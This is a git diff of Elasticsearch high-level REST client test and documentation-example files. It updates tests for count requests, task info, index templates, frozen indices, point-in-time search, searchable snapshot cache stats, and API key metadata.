b/client/rest-high-level/src/test/java/org/elasticsearch/client/core/CountRequestTests.java index d5cd05a485d15..3538da0fd7baf 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/core/CountRequestTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/core/CountRequestTests.java @@ -65,7 +65,7 @@ public void testIllegalArguments() { assertNotNull(countRequest.indicesOptions()); assertNotNull(countRequest.types()); - NullPointerException e = expectThrows(NullPointerException.class, () -> countRequest.indices((String[]) null)); + Exception e = expectThrows(NullPointerException.class, () -> countRequest.indices((String[]) null)); assertEquals("indices must not be null", e.getMessage()); e = expectThrows(NullPointerException.class, () -> countRequest.indices((String) null)); assertEquals("index must not be null", e.getMessage()); @@ -83,6 +83,9 @@ public void testIllegalArguments() { e = expectThrows(NullPointerException.class, () -> countRequest.query(null)); assertEquals("query must not be null", e.getMessage()); + + e = expectThrows(IllegalArgumentException.class, () -> countRequest.terminateAfter(-(randomIntBetween(1, 100)))); + assertEquals("terminateAfter must be > 0", e.getMessage()); } public void testEqualsAndHashcode() { diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/core/tasks/GetTaskResponseTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/core/tasks/GetTaskResponseTests.java index 53acbbbdce17f..202ad9e6bbe68 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/core/tasks/GetTaskResponseTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/core/tasks/GetTaskResponseTests.java @@ -69,11 +69,23 @@ static TaskInfo randomTaskInfo() { long startTime = randomLong(); long runningTimeNanos = randomLong(); boolean cancellable = randomBoolean(); + boolean cancelled = cancellable && randomBoolean(); TaskId parentTaskId = randomBoolean() ? TaskId.EMPTY_TASK_ID : randomTaskId(); Map headers = randomBoolean() ? Collections.emptyMap() : Collections.singletonMap(randomAlphaOfLength(5), randomAlphaOfLength(5)); - return new TaskInfo(taskId, type, action, description, status, startTime, runningTimeNanos, cancellable, parentTaskId, headers); + return new TaskInfo( + taskId, + type, + action, + description, + status, + startTime, + runningTimeNanos, + cancellable, + cancelled, + parentTaskId, + headers); } private static TaskId randomTaskId() { diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/CRUDDocumentationIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/CRUDDocumentationIT.java index 8ea8dc7ac73a6..fb631b6e68ae6 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/CRUDDocumentationIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/CRUDDocumentationIT.java @@ -1554,7 +1554,7 @@ public void afterBulk(long executionId, BulkRequest request, BulkProcessor bulkProcessor = BulkProcessor.builder( (request, bulkListener) -> client.bulkAsync(request, RequestOptions.DEFAULT, bulkListener), - listener).build(); // <5> + listener, "bulk-processor-name").build(); // <5> // end::bulk-processor-init assertNotNull(bulkProcessor); @@ -1616,7 +1616,7 @@ public void afterBulk(long executionId, BulkRequest request, BulkProcessor.Builder builder = BulkProcessor.builder( (request, bulkListener) -> client.bulkAsync(request, RequestOptions.DEFAULT, bulkListener), - listener); + listener, "bulk-processor-name"); builder.setBulkActions(500); // <1> builder.setBulkSize(new ByteSizeValue(1L, ByteSizeUnit.MB)); // <2> builder.setConcurrentRequests(0); // <3> diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/ClusterClientDocumentationIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/ClusterClientDocumentationIT.java index a65220845c833..5c073199b1ce1 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/ClusterClientDocumentationIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/ClusterClientDocumentationIT.java @@ -696,4 +696,5 @@ public void onFailure(Exception e) { assertTrue(latch.await(30L, TimeUnit.SECONDS)); } + } diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/ILMDocumentationIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/ILMDocumentationIT.java index 1a473b453bc0e..02516abe0f69d 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/ILMDocumentationIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/ILMDocumentationIT.java @@ -8,6 +8,7 @@ package org.elasticsearch.client.documentation; +import org.elasticsearch.ElasticsearchException; import org.elasticsearch.action.ActionListener; import org.elasticsearch.action.LatchedActionListener; import org.elasticsearch.action.admin.cluster.repositories.put.PutRepositoryRequest; @@ -80,6 +81,7 @@ import java.util.concurrent.CountDownLatch; import java.util.concurrent.TimeUnit; +import static org.hamcrest.Matchers.containsStringIgnoringCase; import static org.hamcrest.Matchers.equalTo; import static org.hamcrest.Matchers.greaterThanOrEqualTo; @@ -621,7 +623,7 @@ public void testRetryPolicy() throws Exception { client.indices().create(createIndexRequest, RequestOptions.DEFAULT); assertBusy(() -> assertNotNull(client.indexLifecycle() .explainLifecycle(new ExplainLifecycleRequest("my_index"), RequestOptions.DEFAULT) - .getIndexResponses().get("my_index").getFailedStep()), 15, TimeUnit.SECONDS); + .getIndexResponses().get("my_index").getFailedStep()), 30, TimeUnit.SECONDS); } // tag::ilm-retry-lifecycle-policy-request @@ -630,16 +632,24 @@ public void testRetryPolicy() throws Exception { // end::ilm-retry-lifecycle-policy-request - // tag::ilm-retry-lifecycle-policy-execute - AcknowledgedResponse response = client.indexLifecycle() - .retryLifecyclePolicy(request, RequestOptions.DEFAULT); - // end::ilm-retry-lifecycle-policy-execute + try { + // tag::ilm-retry-lifecycle-policy-execute + AcknowledgedResponse response = client.indexLifecycle() + .retryLifecyclePolicy(request, RequestOptions.DEFAULT); + // end::ilm-retry-lifecycle-policy-execute - // tag::ilm-retry-lifecycle-policy-response - boolean acknowledged = response.isAcknowledged(); // <1> - // end::ilm-retry-lifecycle-policy-response + // tag::ilm-retry-lifecycle-policy-response + boolean acknowledged = response.isAcknowledged(); // <1> + // end::ilm-retry-lifecycle-policy-response - assertTrue(acknowledged); + assertTrue(acknowledged); + } catch (ElasticsearchException e) { + // the retry API might fail as the shrink action steps are retryable (so if the retry API reaches ES when ILM is retrying the + // failed `shrink` step, the retry API will fail) + // assert that's the exception we encountered (we want to test to fail if there is an actual error with the retry api) + assertThat(e.getMessage(), containsStringIgnoringCase("reason=cannot retry an action for an index [my_index] that has not " + + "encountered an error when running a Lifecycle Policy")); + } // tag::ilm-retry-lifecycle-policy-execute-listener ActionListener listener = @@ -754,6 +764,7 @@ public void onFailure(Exception e) { assertTrue(latch.await(30L, TimeUnit.SECONDS)); } + @AwaitsFix(bugUrl = "https://github.com/elastic/elasticsearch/issues/73317") public void testAddSnapshotLifecyclePolicy() throws Exception { RestHighLevelClient client = highLevelClient(); diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/IndicesClientDocumentationIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/IndicesClientDocumentationIT.java index 92eead28f7624..87c7d02760df9 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/IndicesClientDocumentationIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/IndicesClientDocumentationIT.java @@ -107,6 +107,8 @@ import java.util.concurrent.CountDownLatch; import java.util.concurrent.TimeUnit; +import static org.elasticsearch.client.IndicesClientIT.FROZEN_INDICES_DEPRECATION_WARNING; +import static org.elasticsearch.client.IndicesClientIT.LEGACY_TEMPLATE_OPTIONS; import static org.hamcrest.Matchers.containsInAnyOrder; import static org.hamcrest.Matchers.equalTo; import static org.hamcrest.Matchers.hasSize; @@ -2088,7 +2090,7 @@ public void testPutTemplate() throws Exception { "}", XContentType.JSON); // end::put-template-request-mappings-json - assertTrue(client.indices().putTemplate(request, RequestOptions.DEFAULT).isAcknowledged()); + assertTrue(client.indices().putTemplate(request, LEGACY_TEMPLATE_OPTIONS).isAcknowledged()); } { //tag::put-template-request-mappings-map @@ -2104,7 +2106,7 @@ public void testPutTemplate() throws Exception { } request.mapping(jsonMap); // <1> //end::put-template-request-mappings-map - assertTrue(client.indices().putTemplate(request, RequestOptions.DEFAULT).isAcknowledged()); + assertTrue(client.indices().putTemplate(request, LEGACY_TEMPLATE_OPTIONS).isAcknowledged()); } { //tag::put-template-request-mappings-xcontent @@ -2124,7 +2126,7 @@ public void testPutTemplate() throws Exception { builder.endObject(); request.mapping(builder); // <1> //end::put-template-request-mappings-xcontent - assertTrue(client.indices().putTemplate(request, RequestOptions.DEFAULT).isAcknowledged()); + assertTrue(client.indices().putTemplate(request, LEGACY_TEMPLATE_OPTIONS).isAcknowledged()); } // tag::put-template-request-aliases @@ -2176,7 +2178,7 @@ public void testPutTemplate() throws Exception { request.create(false); // make test happy // tag::put-template-execute - AcknowledgedResponse putTemplateResponse = client.indices().putTemplate(request, RequestOptions.DEFAULT); + AcknowledgedResponse putTemplateResponse = client.indices().putTemplate(request, LEGACY_TEMPLATE_OPTIONS); // end::put-template-execute // tag::put-template-response @@ -2204,7 +2206,7 @@ public void onFailure(Exception e) { listener = new LatchedActionListener<>(listener, latch); // tag::put-template-execute-async - client.indices().putTemplateAsync(request, RequestOptions.DEFAULT, listener); // <1> + client.indices().putTemplateAsync(request, LEGACY_TEMPLATE_OPTIONS, listener); // <1> // end::put-template-execute-async assertTrue(latch.await(30L, TimeUnit.SECONDS)); @@ -2219,7 +2221,7 @@ public void testGetTemplates() throws Exception { putRequest.mapping("{ \"properties\": { \"message\": { \"type\": \"text\" } } }", XContentType.JSON ); - assertTrue(client.indices().putTemplate(putRequest, RequestOptions.DEFAULT).isAcknowledged()); + assertTrue(client.indices().putTemplate(putRequest, LEGACY_TEMPLATE_OPTIONS).isAcknowledged()); } // tag::get-templates-request @@ -2608,7 +2610,7 @@ public void testTemplatesExist() throws Exception { { final PutIndexTemplateRequest putRequest = new PutIndexTemplateRequest("my-template", List.of("foo")); - assertTrue(client.indices().putTemplate(putRequest, RequestOptions.DEFAULT).isAcknowledged()); + assertTrue(client.indices().putTemplate(putRequest, LEGACY_TEMPLATE_OPTIONS).isAcknowledged()); } { @@ -2884,8 +2886,11 @@ public void testFreezeIndex() throws Exception { request.setIndicesOptions(IndicesOptions.strictExpandOpen()); // <1> // end::freeze-index-request-indicesOptions + final RequestOptions freezeIndexOptions = RequestOptions.DEFAULT.toBuilder() + .setWarningsHandler(warnings -> List.of(FROZEN_INDICES_DEPRECATION_WARNING).equals(warnings) == false).build(); + // tag::freeze-index-execute - ShardsAcknowledgedResponse openIndexResponse = client.indices().freeze(request, RequestOptions.DEFAULT); + ShardsAcknowledgedResponse openIndexResponse = client.indices().freeze(request, freezeIndexOptions); // end::freeze-index-execute // tag::freeze-index-response @@ -2963,7 +2968,9 @@ public void testUnfreezeIndex() throws Exception { // end::unfreeze-index-request-indicesOptions // tag::unfreeze-index-execute - ShardsAcknowledgedResponse openIndexResponse = client.indices().unfreeze(request, RequestOptions.DEFAULT); + final RequestOptions unfreezeIndexOptions = RequestOptions.DEFAULT.toBuilder() + .setWarningsHandler(warnings -> List.of(FROZEN_INDICES_DEPRECATION_WARNING).equals(warnings) == false).build(); + ShardsAcknowledgedResponse openIndexResponse = client.indices().unfreeze(request, unfreezeIndexOptions); // end::unfreeze-index-execute // tag::unfreeze-index-response @@ -3019,7 +3026,7 @@ public void testDeleteTemplate() throws Exception { PutIndexTemplateRequest putRequest = new PutIndexTemplateRequest("my-template", List.of("pattern-1", "log-*")); putRequest.settings(Settings.builder().put("index.number_of_shards", 3)); - assertTrue(client.indices().putTemplate(putRequest, RequestOptions.DEFAULT).isAcknowledged()); + assertTrue(client.indices().putTemplate(putRequest, LEGACY_TEMPLATE_OPTIONS).isAcknowledged()); } // tag::delete-template-request @@ -3045,7 +3052,7 @@ public void testDeleteTemplate() throws Exception { PutIndexTemplateRequest putRequest = new PutIndexTemplateRequest("my-template", List.of("pattern-1", "log-*")); putRequest.settings(Settings.builder().put("index.number_of_shards", 3)); - assertTrue(client.indices().putTemplate(putRequest, RequestOptions.DEFAULT).isAcknowledged()); + assertTrue(client.indices().putTemplate(putRequest, LEGACY_TEMPLATE_OPTIONS).isAcknowledged()); } // tag::delete-template-execute-listener ActionListener listener = diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/MlClientDocumentationIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/MlClientDocumentationIT.java index ea5c08b6c0bcd..51a4703bca37d 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/MlClientDocumentationIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/MlClientDocumentationIT.java @@ -242,7 +242,7 @@ public class MlClientDocumentationIT extends ESRestHighLevelClientTestCase { @After public void cleanUp() throws IOException { - new MlTestStateCleaner(logger, highLevelClient().machineLearning()).clearMlMetadata(); + new MlTestStateCleaner(logger, highLevelClient()).clearMlMetadata(); } public void testCreateJob() throws Exception { @@ -772,6 +772,7 @@ public void testUpdateDatafeed() throws Exception { { AggregatorFactories.Builder aggs = AggregatorFactories.builder(); List scriptFields = Collections.emptyList(); + Map runtimeMappings = Collections.emptyMap(); // tag::update-datafeed-config DatafeedUpdate.Builder datafeedUpdateBuilder = new DatafeedUpdate.Builder(datafeedId) // <1> .setAggregations(aggs) // <2> @@ -781,7 +782,8 @@ public void testUpdateDatafeed() throws Exception { .setQuery(QueryBuilders.matchAllQuery()) // <6> .setQueryDelay(TimeValue.timeValueMinutes(1)) // <7> .setScriptFields(scriptFields) // <8> - .setScrollSize(1000); // <9> + .setScrollSize(1000) // <9> + .setRuntimeMappings(runtimeMappings); // <10> // end::update-datafeed-config // Clearing aggregation to avoid complex validation rules @@ -3613,7 +3615,7 @@ public void testEvaluateDataFrame_Classification() throws Exception { assertThat(otherClassesCount, equalTo(0L)); assertThat(aucRocResult.getMetricName(), equalTo(AucRocMetric.NAME)); - assertThat(aucRocScore, closeTo(0.6425, 1e-9)); + assertThat(aucRocScore, closeTo(0.619, 1e-3)); } } diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/SearchDocumentationIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/SearchDocumentationIT.java index 2550ec8bdad5e..1e3ad6e320d1f 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/SearchDocumentationIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/SearchDocumentationIT.java @@ -23,8 +23,11 @@ import org.elasticsearch.action.index.IndexResponse; import org.elasticsearch.action.search.ClearScrollRequest; import org.elasticsearch.action.search.ClearScrollResponse; +import org.elasticsearch.action.search.ClosePointInTimeRequest; import org.elasticsearch.action.search.MultiSearchRequest; import org.elasticsearch.action.search.MultiSearchResponse; +import org.elasticsearch.action.search.OpenPointInTimeRequest; +import org.elasticsearch.action.search.OpenPointInTimeResponse; import org.elasticsearch.action.search.SearchRequest; import org.elasticsearch.action.search.SearchResponse; import org.elasticsearch.action.search.SearchScrollRequest; @@ -80,6 +83,7 @@ import org.elasticsearch.search.aggregations.bucket.terms.Terms.Bucket; import org.elasticsearch.search.aggregations.bucket.terms.TermsAggregationBuilder; import org.elasticsearch.search.aggregations.metrics.Avg; +import org.elasticsearch.search.builder.PointInTimeBuilder; import org.elasticsearch.search.builder.SearchSourceBuilder; import org.elasticsearch.search.fetch.subphase.FetchSourceContext; import org.elasticsearch.search.fetch.subphase.highlight.HighlightBuilder; @@ -722,6 +726,101 @@ public void onFailure(Exception e) { } } + public void testPointInTime() throws Exception { + RestHighLevelClient client = highLevelClient(); + BulkRequest request = new BulkRequest(); + request.add(new IndexRequest("posts").id("1").source(XContentType.JSON, "lang", "Java")); + request.add(new IndexRequest("posts").id("2").source(XContentType.JSON, "lang", "Python")); + request.add(new IndexRequest("posts").id("3").source(XContentType.JSON, "lang", "Go")); + request.add(new IndexRequest("posts").id("4").source(XContentType.JSON, "lang", "Rust")); + request.setRefreshPolicy(WriteRequest.RefreshPolicy.IMMEDIATE); + BulkResponse bulkResponse = client.bulk(request, RequestOptions.DEFAULT); + assertSame(RestStatus.OK, bulkResponse.status()); + assertFalse(bulkResponse.hasFailures()); + + // tag::open-point-in-time + OpenPointInTimeRequest openRequest = new OpenPointInTimeRequest("posts"); // <1> + openRequest.keepAlive(TimeValue.timeValueMinutes(30)); // <2> + OpenPointInTimeResponse openResponse = client.openPointInTime(openRequest, RequestOptions.DEFAULT); + String pitId = openResponse.getPointInTimeId(); // <3> + assertNotNull(pitId); + // end::open-point-in-time + + // tag::search-point-in-time + SearchRequest searchRequest = new SearchRequest(); + final PointInTimeBuilder pointInTimeBuilder = new PointInTimeBuilder(pitId); // <1> + pointInTimeBuilder.setKeepAlive("2m"); // <2> + searchRequest.source(new SearchSourceBuilder().pointInTimeBuilder(pointInTimeBuilder)); // <3> + SearchResponse searchResponse = client.search(searchRequest, RequestOptions.DEFAULT); + assertThat(searchResponse.pointInTimeId(), equalTo(pitId)); + // end::search-point-in-time + + // tag::close-point-in-time + ClosePointInTimeRequest closeRequest = new ClosePointInTimeRequest(pitId); // <1> + ClearScrollResponse closeResponse = client.closePointInTime(closeRequest, RequestOptions.DEFAULT); + assertTrue(closeResponse.isSucceeded()); + // end::close-point-in-time + + // Open a point in time with optional arguments + { + openRequest = new OpenPointInTimeRequest("posts").keepAlive(TimeValue.timeValueMinutes(10)); + // tag::open-point-in-time-indices-option + openRequest.indicesOptions(IndicesOptions.LENIENT_EXPAND_OPEN_CLOSED); // <1> + // end::open-point-in-time-indices-option + + // tag::open-point-in-time-routing + openRequest.routing("routing"); // <1> + // end::explain-request-routing + + // tag::open-point-in-time-preference + openRequest.preference("_local"); // <1> + // end::open-point-in-time-preference + + openResponse = client.openPointInTime(openRequest, RequestOptions.DEFAULT); + pitId = openResponse.getPointInTimeId(); + client.closePointInTime(new ClosePointInTimeRequest(pitId), RequestOptions.DEFAULT); + } + } + + public void testSearchAfterWithPointInTime() throws Exception { + RestHighLevelClient client = highLevelClient(); + int numDocs = between(50, 100); + BulkRequest request = new BulkRequest(); + for (int i = 0; i < numDocs; i++) { + request.add(new IndexRequest("posts").id(Integer.toString(i)).source(XContentType.JSON, "field", i)); + } + request.setRefreshPolicy(WriteRequest.RefreshPolicy.IMMEDIATE); + BulkResponse bulkResponse = client.bulk(request, RequestOptions.DEFAULT); + assertSame(RestStatus.OK, bulkResponse.status()); + assertFalse(bulkResponse.hasFailures()); + + // tag::search-after-with-point-in-time + OpenPointInTimeRequest openRequest = new OpenPointInTimeRequest("posts"); + openRequest.keepAlive(TimeValue.timeValueMinutes(20)); + String pitId = client.openPointInTime(openRequest, RequestOptions.DEFAULT).getPointInTimeId(); // <1> + assertNotNull(pitId); + + SearchResponse searchResponse = null; + int totalHits = 0; + do { + SearchRequest searchRequest = new SearchRequest().source(new SearchSourceBuilder().sort("field").size(5)); // <2> + if (searchResponse != null) { + final SearchHit[] lastHits = searchResponse.getHits().getHits(); + searchRequest.source().searchAfter(lastHits[lastHits.length - 1].getSortValues()); // <3> + } + searchRequest.source().pointInTimeBuilder(new PointInTimeBuilder(pitId)); // <4> + searchResponse = client.search(searchRequest, RequestOptions.DEFAULT); + assertThat(searchResponse.pointInTimeId(), equalTo(pitId)); + totalHits += searchResponse.getHits().getHits().length; + } while (searchResponse.getHits().getHits().length > 0); + + assertThat(totalHits, equalTo(numDocs)); + + ClearScrollResponse closeResponse = client.closePointInTime(new ClosePointInTimeRequest(pitId), RequestOptions.DEFAULT); // <5> + assertTrue(closeResponse.isSucceeded()); + // end::search-after-with-point-in-time + } + public void testSearchTemplateWithInlineScript() throws Exception { indexSearchTestData(); RestHighLevelClient client = highLevelClient(); diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/SearchableSnapshotsDocumentationIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/SearchableSnapshotsDocumentationIT.java index 52added4b33b7..ad65bd839dad8 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/SearchableSnapshotsDocumentationIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/SearchableSnapshotsDocumentationIT.java @@ -23,6 +23,9 @@ import org.elasticsearch.client.RestHighLevelClient; import org.elasticsearch.client.indices.CreateIndexRequest; import org.elasticsearch.client.indices.CreateIndexResponse; +import org.elasticsearch.client.searchable_snapshots.CachesStatsRequest; +import org.elasticsearch.client.searchable_snapshots.CachesStatsResponse; +import org.elasticsearch.client.searchable_snapshots.CachesStatsResponse.NodeCachesStats; import org.elasticsearch.client.searchable_snapshots.MountSnapshotRequest; import org.elasticsearch.common.settings.Settings; import org.elasticsearch.common.unit.TimeValue; @@ -32,6 +35,7 @@ import org.elasticsearch.snapshots.RestoreInfo; import java.io.IOException; +import java.util.List; import java.util.concurrent.CountDownLatch; import java.util.concurrent.TimeUnit; @@ -130,4 +134,56 @@ public void onFailure(final Exception e) { assertTrue(latch.await(30L, TimeUnit.SECONDS)); } + public void testCachesStatsSnapshot() throws Exception { + final RestHighLevelClient client = highLevelClient(); + + // tag::searchable-snapshots-caches-stats-request + CachesStatsRequest request = new CachesStatsRequest(); // <1> + request = new CachesStatsRequest( // <2> + "eerrtBMtQEisohZzxBLUSw", + "klksqQSSzASDqDMLQ" + ); + // end::searchable-snapshots-caches-stats-request + + // tag::searchable-snapshots-caches-stats-execute + final CachesStatsResponse response = client + .searchableSnapshots() + .cacheStats(request, RequestOptions.DEFAULT); + // end::searchable-snapshots-caches-stats-execute + + // tag::searchable-snapshots-caches-stats-response + final List nodeCachesStats = + response.getNodeCachesStats(); // <1> + // end::searchable-snapshots-caches-stats-response + + // tag::searchable-snapshots-caches-stats-execute-listener + ActionListener listener = + new ActionListener() { + + @Override + public void onResponse(final CachesStatsResponse response) { + // <1> + } + + @Override + public void onFailure(final Exception e) { + // <2> + } + }; + // end::searchable-snapshots-caches-stats-execute-listener + + final CountDownLatch latch = new CountDownLatch(1); + listener = new LatchedActionListener<>(listener, latch); + + // tag::searchable-snapshots-caches-stats-execute-async + client.searchableSnapshots().cacheStatsAsync( + request, + RequestOptions.DEFAULT, + listener // <1> + ); + // end::searchable-snapshots-caches-stats-execute-async + + assertTrue(latch.await(30L, TimeUnit.SECONDS)); + } + } diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/SecurityDocumentationIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/SecurityDocumentationIT.java index d74bd32e4c888..8e610c6a6e337 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/SecurityDocumentationIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/SecurityDocumentationIT.java @@ -28,6 +28,7 @@ import org.elasticsearch.client.security.ClearRolesCacheResponse; import org.elasticsearch.client.security.ClearSecurityCacheResponse; import org.elasticsearch.client.security.CreateApiKeyRequest; +import org.elasticsearch.client.security.CreateApiKeyRequestTests; import org.elasticsearch.client.security.CreateApiKeyResponse; import org.elasticsearch.client.security.CreateTokenRequest; import org.elasticsearch.client.security.CreateTokenResponse; @@ -64,6 +65,7 @@ import org.elasticsearch.client.security.InvalidateApiKeyResponse; import org.elasticsearch.client.security.InvalidateTokenRequest; import org.elasticsearch.client.security.InvalidateTokenResponse; +import org.elasticsearch.client.security.NodeEnrollmentResponse; import org.elasticsearch.client.security.PutPrivilegesRequest; import org.elasticsearch.client.security.PutPrivilegesResponse; import org.elasticsearch.client.security.PutRoleMappingRequest; @@ -689,8 +691,8 @@ public void testGetRoles() throws Exception { List roles = response.getRoles(); assertNotNull(response); - // 29 system roles plus the three we created - assertThat(roles.size(), equalTo(29 + 3)); + // 31 system roles plus the three we created + assertThat(roles.size(), equalTo(31 + 3)); } { @@ -1957,10 +1959,11 @@ public void testCreateApiKey() throws Exception { .indicesPrivileges(IndicesPrivileges.builder().indices("ind-x").privileges(IndexPrivilegeName.ALL).build()).build()); final TimeValue expiration = TimeValue.timeValueHours(24); final RefreshPolicy refreshPolicy = randomFrom(RefreshPolicy.values()); + final Map metadata = CreateApiKeyRequestTests.randomMetadata(); { final String name = randomAlphaOfLength(5); // tag::create-api-key-request - CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest(name, roles, expiration, refreshPolicy); + CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest(name, roles, expiration, refreshPolicy, metadata); // end::create-api-key-request // tag::create-api-key-execute @@ -1978,7 +1981,7 @@ public void testCreateApiKey() throws Exception { { final String name = randomAlphaOfLength(5); - CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest(name, roles, expiration, refreshPolicy); + CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest(name, roles, expiration, refreshPolicy, metadata); ActionListener listener; // tag::create-api-key-execute-listener @@ -2027,6 +2030,7 @@ public void testGrantApiKey() throws Exception { final Instant start = Instant.now(); + final Map metadata = CreateApiKeyRequestTests.randomMetadata(); CheckedConsumer apiKeyVerifier = (created) -> { final GetApiKeyRequest getApiKeyRequest = GetApiKeyRequest.usingApiKeyId(created.getId(), false); final GetApiKeyResponse getApiKeyResponse = client.security().getApiKey(getApiKeyRequest, RequestOptions.DEFAULT); @@ -2039,6 +2043,11 @@ public void testGrantApiKey() throws Exception { assertThat(apiKeyInfo.isInvalidated(), equalTo(false)); assertThat(apiKeyInfo.getCreation(), greaterThanOrEqualTo(start)); assertThat(apiKeyInfo.getCreation(), lessThanOrEqualTo(Instant.now())); + if (metadata == null) { + assertThat(apiKeyInfo.getMetadata(), equalTo(Map.of())); + } else { + assertThat(apiKeyInfo.getMetadata(), equalTo(metadata)); + } }; final TimeValue expiration = TimeValue.timeValueHours(24); @@ -2046,7 +2055,7 @@ public void testGrantApiKey() throws Exception { { final String name = randomAlphaOfLength(5); // tag::grant-api-key-request - CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest(name, roles, expiration, refreshPolicy); + CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest(name, roles, expiration, refreshPolicy, metadata); GrantApiKeyRequest.Grant grant = GrantApiKeyRequest.Grant.passwordGrant(username, password); GrantApiKeyRequest grantApiKeyRequest = new GrantApiKeyRequest(grant, createApiKeyRequest); // end::grant-api-key-request @@ -2071,7 +2080,7 @@ public void testGrantApiKey() throws Exception { final CreateTokenRequest tokenRequest = CreateTokenRequest.passwordGrant(username, password); final CreateTokenResponse token = client.security().createToken(tokenRequest, RequestOptions.DEFAULT); - CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest(name, roles, expiration, refreshPolicy); + CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest(name, roles, expiration, refreshPolicy, metadata); GrantApiKeyRequest.Grant grant = GrantApiKeyRequest.Grant.accessTokenGrant(token.getAccessToken()); GrantApiKeyRequest grantApiKeyRequest = new GrantApiKeyRequest(grant, createApiKeyRequest); @@ -2117,14 +2126,15 @@ public void testGetApiKey() throws Exception { .indicesPrivileges(IndicesPrivileges.builder().indices("ind-x").privileges(IndexPrivilegeName.ALL).build()).build()); final TimeValue expiration = TimeValue.timeValueHours(24); final RefreshPolicy refreshPolicy = randomFrom(RefreshPolicy.values()); + final Map metadata = CreateApiKeyRequestTests.randomMetadata(); // Create API Keys - CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest("k1", roles, expiration, refreshPolicy); + CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest("k1", roles, expiration, refreshPolicy, metadata); CreateApiKeyResponse createApiKeyResponse1 = client.security().createApiKey(createApiKeyRequest, RequestOptions.DEFAULT); assertThat(createApiKeyResponse1.getName(), equalTo("k1")); assertNotNull(createApiKeyResponse1.getKey()); final ApiKey expectedApiKeyInfo = new ApiKey(createApiKeyResponse1.getName(), createApiKeyResponse1.getId(), Instant.now(), - Instant.now().plusMillis(expiration.getMillis()), false, "test_user", "default_file"); + Instant.now().plusMillis(expiration.getMillis()), false, "test_user", "default_file", metadata); { // tag::get-api-key-id-request GetApiKeyRequest getApiKeyRequest = GetApiKeyRequest.usingApiKeyId(createApiKeyResponse1.getId(), false); @@ -2258,6 +2268,11 @@ private void verifyApiKey(final ApiKey actual, final ApiKey expected) { assertThat(actual.getRealm(), is(expected.getRealm())); assertThat(actual.isInvalidated(), is(expected.isInvalidated())); assertThat(actual.getExpiration(), is(greaterThan(Instant.now()))); + if (expected.getMetadata() == null) { + assertThat(actual.getMetadata(), equalTo(Map.of())); + } else { + assertThat(actual.getMetadata(), equalTo(expected.getMetadata())); + } } public void testInvalidateApiKey() throws Exception { @@ -2267,8 +2282,9 @@ public void testInvalidateApiKey() throws Exception { .indicesPrivileges(IndicesPrivileges.builder().indices("ind-x").privileges(IndexPrivilegeName.ALL).build()).build()); final TimeValue expiration = TimeValue.timeValueHours(24); final RefreshPolicy refreshPolicy = randomFrom(RefreshPolicy.values()); + final Map metadata = CreateApiKeyRequestTests.randomMetadata(); // Create API Keys - CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest("k1", roles, expiration, refreshPolicy); + CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest("k1", roles, expiration, refreshPolicy, metadata); CreateApiKeyResponse createApiKeyResponse1 = client.security().createApiKey(createApiKeyRequest, RequestOptions.DEFAULT); assertThat(createApiKeyResponse1.getName(), equalTo("k1")); assertNotNull(createApiKeyResponse1.getKey()); @@ -2312,7 +2328,7 @@ public void testInvalidateApiKey() throws Exception { } { - createApiKeyRequest = new CreateApiKeyRequest("k2", roles, expiration, refreshPolicy); + createApiKeyRequest = new CreateApiKeyRequest("k2", roles, expiration, refreshPolicy, metadata); CreateApiKeyResponse createApiKeyResponse2 = client.security().createApiKey(createApiKeyRequest, 